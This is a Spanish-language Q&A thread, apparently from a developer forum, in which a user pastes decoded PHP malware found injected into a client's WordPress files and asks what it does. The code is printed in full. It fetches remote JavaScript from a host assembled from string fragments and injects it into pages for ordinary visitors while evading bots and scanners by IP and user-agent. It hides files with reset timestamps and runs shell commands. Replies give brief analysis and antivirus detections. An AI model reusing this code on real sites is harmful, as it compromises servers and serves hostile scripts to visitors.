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Encontré este código inyectado en una serie de archivos PHP en el sitio de un cliente. Por supuesto, el original había sido ofuscado y codificado. Logré decodificarlo y formatearlo en la forma actual.¿Qué está logrando este código de malware?
Mi pregunta es: ¿Qué está logrando exactamente y el código sugiere cómo se inyectó y, por lo tanto, arroja luz sobre cómo prevenir esto en el futuro?
<?php
if(!function_exists('check_wp_head_load')){
function check_wp_head_load(){
if(!function_exists('cc')){
function cc($ll_0){
$ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
if(function_exists('curl_init')){
$ll_2 = curl_init();
curl_setopt($ll_2, 10002, $ll_0);
curl_setopt($ll_2, 42, 0);
curl_setopt($ll_2, 13, 30);
curl_setopt($ll_2, 19913, 1);
curl_setopt($ll_2, 10018, $ll_1);
if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
@curl_setopt($ll_2, 52, 1);
}
@curl_setopt($ll_2, 68, 2);
$ll_3 = curl_exec($ll_2);
curl_close($ll_2);
if($ll_3 !== false){
return $ll_3;
}
}
else if(function_exists('fsockopen')){
global $ll_4;
$ll_0 = str_replace("http://", "", $ll_0);
if(preg_match("#/#", "$ll_0")){
$ll_5 = $ll_0;
$ll_0 = @explode("/", $ll_0);
$ll_0 = $ll_0[0];
$ll_5 = str_replace($ll_0, "", $ll_5);
if(!$ll_5 || $ll_5 == ""){
$ll_5 = "/";
}
$ll_6 = gethostbyname($ll_0);
}
else{
$ll_6 = gethostbyname($ll_0);
$ll_5 = "/";
}
$ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10);
stream_set_timeout($ll_7, 10);
if($ll_7){
$ll_10 = "GET $ll_5 HTTP/1.0\r\n";
$ll_10 .= "Host: $ll_0\r\n";
$ll_10 .= "Referer: http://$ll_0$ll_5\r\n";
$ll_10 .= "Accept-Language: en-us, en;q=0.50\r\n";
$ll_10 .= "User-Agent: $ll_1\r\n";
$ll_10 .= "Connection: Close\r\n\r\n";
fputs($ll_7, $ll_10);
while(!feof($ll_7)){
$ll_11 .= fgets($ll_7, 4096);
}
fclose($ll_7);
$ll_11 = @explode("\r\n\r\n", $ll_11, 2);
$ll_12 = $ll_11[0];
if($ll_4){
$ll_12 = "$ll_4<br /><br />\n$ll_12";
}
$ll_12 = str_replace("\n", "<br />", $ll_12);
if($ll_11[1]){
$ll_13 = $ll_11[1];
}
else{
$ll_13 = "";
}
if($ll_13){
$ll_11 = $ll_13;
}
else{
$ll_11 = $ll_12;
}
if(preg_match("/Location\:/", "$ll_12")){
$ll_0 = @explode("Location: ", $ll_12);
$ll_0 = $ll_0[1];
$ll_0 = @explode("\r", $ll_0);
$ll_0 = $ll_0[0];
$ll_4 = str_replace("\r\n\r\n", "", $ll_12);
$ll_14 = "Location:";
$ll_4 = str_replace("Location:", $ll_14, $ll_4);
return cc($ll_0);
}
else{
return $ll_11;
}
}
}
else{
echo "ERROR";
exit;
}
}
}
if(!function_exists('detB')){
function detB($ll_15, $ll_16){
$ll_17 = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
"72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
"209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
"195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
"218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244",
"199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39",
"208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","97\.79\.239\.[0-9]+",
"184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17");
$ll_18 = array("http","google","slurp","msnbot","bot","crawl",
"spider","robot","httpclient","curl","php","indy library",
"wordpress","charlotte","wwwster","python","urllib","perl",
"libwww","lynx","twiceler","rambler","yandex","trend",
"virus","malware","wget");
$ll_15 = preg_replace("|User\.Agent\:[\s ]?|i", "", $ll_15);
$ll_19 = true;
foreach($ll_17 as $ll_20)
if(eregi("$ll_20", $ll_16)){
$ll_19 = false;
break;
}
if($ll_19)
foreach($ll_18 as $ll_21)
if(eregi($ll_21, $ll_15) !== false){
$ll_19 = false;
break;
}
if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){
$ll_19 = false;
}
if($ll_19 and strlen($ll_15) <= 11){
$ll_19 = false;
}
return $ll_19;
}
}
if(!function_exists('rm_rf_file')){
function rm_rf_file($ll_22){
$ll_23 = filemtime($ll_22);
if($ll_24 = opendir($ll_22)){
while(false !==($ll_25 = readdir($ll_24))){
if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){
chmod($ll_25, 438);
unlink($ll_25);
}
}
closedir($ll_24);
}
touch($ll_22, $ll_23, $ll_23);
}
}
if(!function_exists('sys_get_temp_dir')){
function sys_get_temp_dir(){
if($ll_26 = getenv("TMP"))
return $ll_26;
if($ll_26 = getenv("TEMP"))
return $ll_26;
if($ll_26 = getenv("TMPDIR"))
return $ll_26;
$ll_26 = tempnam(__FILE__, "");
if(file_exists($ll_26)){
unlink($ll_26);
return dirname($ll_26);
}
return false;
}
}
if(!function_exists('ex')){
function ex($ll_27){
$ll_28 = "";
if(!empty($ll_27)){
if(function_exists('exec')){
@exec($ll_27, $ll_28);
$ll_28 = join("\n", $ll_28);
}
elseif(function_exists('shell_exec')){
$ll_28 = @shell_exec($ll_27);
}
elseif(function_exists('system')){
@ob_start();
@system($ll_27);
$ll_28 = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($ll_27);
$ll_28 = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){
$ll_28 = "";
while([email protected]($ll_29)){
$ll_28 .= @fread($ll_29, 1024);
}
@pclose($ll_29);
}elseif(@function_exists('proc_open') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){
$ll_28 = "";
if(@function_exists('fread') && @function_exists('feof')){
while([email protected]($ll_30[1])){
$ll_28 .= @fread($ll_30[1], 1024);
}
}
else if(@function_exists('fgets') && @function_exists('feof')){
while([email protected]($ll_30[1])){
$ll_28 .= @fgets($ll_30[1], 1024);
}
}
@proc_close($ll_29);
}
}
return htmlspecialchars($ll_28);
}
}
$ll_31 = "lonly";
$ll_32 = $_SERVER["REMOTE_ADDR"];
$ll_1 = $_SERVER["HTTP_USER_AGENT"];
$ll_33 = $_SERVER["SCRIPT_FILENAME"];
$ll_34 = strtolower($ll_1);
if($ll_32 == "" || $ll_1 == "" || $ll_33 == "")
return null;
if(!isset($_COOKIE[$ll_31])){
$ll_35 = @sys_get_temp_dir();
if(!$ll_35){
$ll_35 = dirname($ll_33);
$ll_36 = $ll_35 ."/.tmp";
}
else{
$ll_36 = $ll_35 ."/.tmp";
if([email protected]_exists($ll_36)){
$ll_23 = @filemtime($ll_35);
@mkdir($ll_36);
$ll_37 = @fopen("$ll_36/r", "w");
@fwrite($ll_37, "");
@fclose($ll_37);
@chmod($ll_36, 511);
@touch("$ll_36/r", $ll_23, $ll_23);
@touch($ll_35, $ll_23, $ll_23);
@touch($ll_36, $ll_23, $ll_23);
if([email protected]_exists("$ll_36/r")){
$ll_35 = dirname($ll_33);
$ll_36 = $ll_35 ."/.cache";
}
}
}
if([email protected]_exists($ll_36)){
$ll_23 = @filemtime($ll_35);
@mkdir($ll_36);
@chmod($ll_36, 511);
@touch($ll_35, $ll_23, $ll_23);
@touch($ll_36, $ll_23, $ll_23);
}
$ll_38 = @date("Hi");
$ll_39 = @date("ymd");
$ll_40 = "$ll_36/$ll_39";
$ll_41 = "$ll_36/tmp_$ll_39";
$ll_42 = $ll_39 - 1;
if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" &&
$ll_38 <= "0001") || ($ll_38 >= "1200" &&
$ll_38 <= "1201") || ($ll_38 >= "1800" &&
$ll_38 <= "1801")){
@rm_rf_file($ll_36);
@ex("rm -rf $ll_36/*");
}
if([email protected]_exists($ll_40)){
$ll_23 = @filemtime($ll_36);
$ll_37 = @fopen($ll_40, "w");
@fclose($ll_37);
@chmod($ll_40, 511);
@touch($ll_36, $ll_23, $ll_23);
}
if(@is_writable($ll_36) && ([email protected]_exists($ll_41) || @filesize($ll_41) < 5)){
$ll_43 = array("ohix.", "effbot.", "/f/", "net");
$ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2];
$ll_45 = @cc($ll_44);
if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){
$ll_23 = @filemtime($ll_36);
$ll_37 = @fopen($ll_41, "w");
@fwrite($ll_37, "$ll_45");
@fclose($ll_37);
@chmod($ll_41, 511);
@touch($ll_36, $ll_23, $ll_23);
@touch($ll_41, $ll_23, $ll_23);
}
else
return null;
}
$ll_46 = @base64_decode(@file_get_contents($ll_41));
$ll_47 = @file($ll_40);
$ll_48 = false;
foreach($ll_47 as $ll_49){
if(@trim($ll_49) == $ll_32){
$ll_48 = true;
break;
}
}
$ll_19 = @detB($ll_1,$ll_32);
if($ll_48 == false && $ll_19 == true){
$ll_37 = @fopen($ll_40,"a");
@fwrite($ll_37, "$ll_32\n");
@fclose($ll_37);
echo "\n" .str_repeat(" ", mt_rand(300, 1000))
. "<script type='text/javascript'>$ll_46</script>\n";
}
}
}
}
$ll_31 = "lonly";
if(!isset($_COOKIE[$ll_31]))
@add_action("wp_head", "check_wp_head_load", mt_rand(1, 7));
?>
Tema aparte. Eso está demasiado embrutecido para el análisis aún. Utiliza algunas soluciones para cargar recursos remotos, almacena archivos temporales y ocasionalmente ejecuta los archivos binarios descargados. También parece inyectar código JavaScript. - En cuanto al agujero explotado: eso era Wordpress y/o contraseñas débiles. – mario
Escanear con un antivirus y buscar información basada en el nombre devuelto. Hay escáneres en línea, por ejemplo: http://www.virustotal.com – ninjalj
Lo ejecuté a través de virustotal.com y obtuve las siguientes opciones: PHP: Shell-AX [Trj], PHP.ShellExec, PHP: Shell-AX, Heurística .BehavesLike.JS.Suspicious.G – KalenGi